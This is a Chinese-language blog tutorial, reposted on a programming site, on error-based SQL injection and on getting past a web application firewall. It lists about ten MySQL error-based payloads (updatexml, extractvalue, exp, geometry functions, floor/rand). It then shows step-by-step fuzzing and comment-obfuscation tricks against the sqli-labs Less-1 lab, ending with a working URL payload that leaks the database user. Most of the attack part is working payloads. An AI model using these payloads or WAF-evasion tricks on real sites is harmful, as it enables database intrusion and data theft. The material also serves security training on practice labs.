bypasswaf 之报错注入

0x00前言前面讲到了bypass联合查询和盲注,那么这章节就来个报错注入。0x01报错注入与函数此方法是在页面没有显示位,但是echomysql_error();函数输出了错误信息的时

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

0x00 前言

前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。

0x01 报错注入与函数

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过mysql的报错语句让他爆出数据。

1.updatexml()

updatexml() 是更新xml文档的函数
语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx…这种格式,如果写入其他格式就会报错。

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

 

bypasswaf 之报错注入

 

 

 

2.extractvalue()

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

bypasswaf 之报错注入

 

 

 语法:extractvalue(目标xml文档,xml路径)

 

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

3.exp()

select * from users where id=1 and exp(~(select * from(select user())a));
exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时,

exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”,

再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。

 通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。 

4.geometrycollection()

select * from users where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from users where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from users where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from users where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from users where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from users where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.floor

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

 

floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

 

 0x02 bypass盲注

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

 

bypasswaf 之报错注入

 

 

 

那么我们先来fuzz一下拦截的参数

and 不拦截 
and updatexml        不拦截
and updatexml()      不拦截
and updatexml(1,1,1) 拦截
and updatexml(1,,1)  不拦截
and updatexml(1,1,1 不拦截

那么现在却确定他拦截的是 完整的 and updatexml (1,2,3)  那么我们可以从他的括号做手脚

 and updatexml(1,1,1/*!)*/   不拦截

bypasswaf 之报错注入

 

 

 成功绕过,那么我们现在来查询user(),查询用户名。

' and updatexml(1,(select user()),1/*!)*/--+

输入select拦截了还得继续fuzz

and updatexml(1,(),1/*!)*/               不拦截
and updatexml(
1,(select ),1/*!)*/ 不拦截 and updatexml(1,(select user ),1/*!)*/ 不拦截 and updatexml(1,(select user() ),1/*!)*/ 拦截

那么他拦截的肯定是user和括号拼接起来的函数

 

bypasswaf 之报错注入

 

 

 继续fuzz

and updatexml(1,(select user/**/() ),1/*!)*/   拦截
and updatexml(1,(select user+() ),1/*!)*/      拦截
and updatexml(1,(select user--+%0a() ),1/*!)*/  拦截
and updatexml(1,(select user--+/*hex(0)*/%0a() ),1/*!)*/  拦截
and updatexml(1,(select user--+/*!hex(0)*/%0a() ),1/*!)*/  不拦截 
试试另一种方法
and updatexml(1,(select user(/**/) ),1/*!)*/ 拦截
and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/ 绕过

bypasswaf 之报错注入

 

 

 这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e,(select user--+hex(0)%0a()),0x7e),1/*!)*/--+

 

 

bypasswaf 之报错注入

 

 

 这里被拦截 那么肯定就是concat这个函数。

继续fuzz

and updatexml(1,concat,1/*!)*/  不拦截
and updatexml(1,concat(),1/*!)*/  不拦截
and updatexml(1,concat(0x7e),1/*!)*/  不拦截且回显~号
and updatexml(1,concat(1,),1/*!)*/   不拦截
and updatexml(1,concat(1,,),1/*!)*/  拦截
and updatexml(1,concat(0x7e/*!,*/ (select 1)/*!,*/0x7e),1/*!)*/  不拦截  回显1

这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过

bypasswaf 之报错注入

 

 现在我们已经回显出1来了 就可以来用user()函数来查询一下

http://192.168.31.17/sqli-labs/Less-1/?id=1 ' and updatexml(1,concat(0x7e/*!,*/ (select user--+hex(0)%0a())/*!,*/0x7e),1/*!)*/--+

 

bypasswaf 之报错注入

 

 查询成功  成功绕过waf后面的一些暴库,爆表也是一样的方法思路。

0x03   结尾

啥也不说插个表情包

bypasswaf 之报错注入

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119975.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • NFV相关术语解释[通俗易懂]

    NFV相关术语解释[通俗易懂]NFV词汇1)0~9无。2)A~B无。3)==C==(1)CPU(CentralProcessingUnit,中央处理器):一种NFV计算域设备,用以提供主要的容器接口。(2)computedomain(计算域):一种NFVI(笔者注:NFVI即NFVInfrastructure——NFV基础设施)内的域,其中包括各种服务器与存储(设备)。(3)computenod…

    2022年9月9日
    0
  • php微信自动回复机器人,微信自动回复机器人功能怎么实现?[通俗易懂]

    php微信自动回复机器人,微信自动回复机器人功能怎么实现?[通俗易懂]原标题:微信自动回复机器人功能怎么实现?微信自动回复机器人功能怎么实现?最近有不少小伙伴都在询问这个问题。很多人在微信营销的过程中,都会有这样的问题,微信好友太多,想要都在第一时间回复,实在没有精力。下面小编就给大家分享如何使用微信自动回复机器人,大家再也不用担心回复不过来而忙的焦头烂额啦。首先通过米云微信软件,扫码将所以微信号登录,就可以将所有微信号的对话集成,全部聊天里整合了所有微信号的聊天…

    2022年10月1日
    0
  • android 置灰不可点击,Android Studio 运行按钮灰色的完美解决方法「建议收藏」

    android 置灰不可点击,Android Studio 运行按钮灰色的完美解决方法「建议收藏」AndroidStudio运行按钮灰色的完美解决方法今天新建项目的时候突然发现编译后运行按钮为灰色。解决方案:第一步:点击图中的AddConfiguration,出来如下界面第二步:点+号,并选择AndroidApp选项出来下图所示界面第三步:在Module中下拉框中选择app如果在Module下拉框没有app这个选项点击搜索框,输入sync,从搜索结果中选择如下项:点击运行…

    2022年8月28日
    1
  • 向量投影证明[通俗易懂]

    向量投影证明[通俗易懂]a在b上的投影

    2025年6月16日
    0
  • 扫描关注公众号(搜索公众号:码农编程进阶笔记),获取更多视频教程

    扫描关注公众号(搜索公众号:码农编程进阶笔记),获取更多视频教程

    2022年2月10日
    138
  • java 仓库管理系统源码[通俗易懂]

    java 仓库管理系统源码[通俗易懂]系统操作权限管理。系统提供基本的登入登出功能,同时系统包含两个角色:系统超级管理员和普通管理员,超级管理员具有最高的操作权限,而普通管理员仅具有最基本的操作权限,而且仅能操作自己被指派的仓库。 请求URL鉴权。对于系统使用者登陆后进行操作发送请求的URL,后台会根据当前用户的角色判断是否拥有请求该URL的权限。 基础数据信息管理。对包括:货物信息、供应商信息、客户信息、仓库信息在内的基础数据信…

    2022年9月23日
    0

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号